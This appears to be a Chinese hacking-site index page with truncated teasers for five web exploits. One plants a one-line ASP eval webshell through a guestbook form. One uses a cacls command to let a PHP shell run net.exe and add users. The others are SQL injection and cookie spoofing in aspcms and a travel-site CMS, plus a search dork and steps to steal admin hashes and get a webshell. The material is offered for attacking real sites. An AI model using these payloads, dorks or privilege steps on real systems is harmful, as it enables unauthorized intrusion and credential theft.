-
申江ASP留言本漏洞
打开网页，点击 “写入信息leaveword.asp”，插入一句话，提交，连接数据库即可。测试<%eval(request("#")):response.end%>数据库地址：data...
-
phpshell下system权限无法执行net命令添加用户的解决方法
有些情况下，在phpshell下system权限无法使用net执行命令添加用户，原因是system 没有net的执行权限，所以我们就给他执行权限。 cacls c:\Windows\system32\net.exe /t /e /c...
-
aspcms 后台文件无验证注入+ cookies欺骗
简要描述：后台文件AspCms_AboutEdit.asp 未进行验证，且未过滤，导致SQL注入。而且纯在cookies欺骗！详细说明：———————&md...
-
讯奇旅游网站系统注入漏洞
整个系统都是注入！ 如：Jingdian_Show.asp News_Show.asp 这些文件都包含 UU.Lable.All.asp代码： Function UU_Lable_JingdianS(strList) Set...
-
某企业网站0day
关键字：inurl:cg_ProductShow.asp?ID=有防注入，不过cookie中转直接秒杀管理员用户的数据存储在admin表username和password字段密码16位MD5加密后台取webshell就不说了后台有数据库备份...
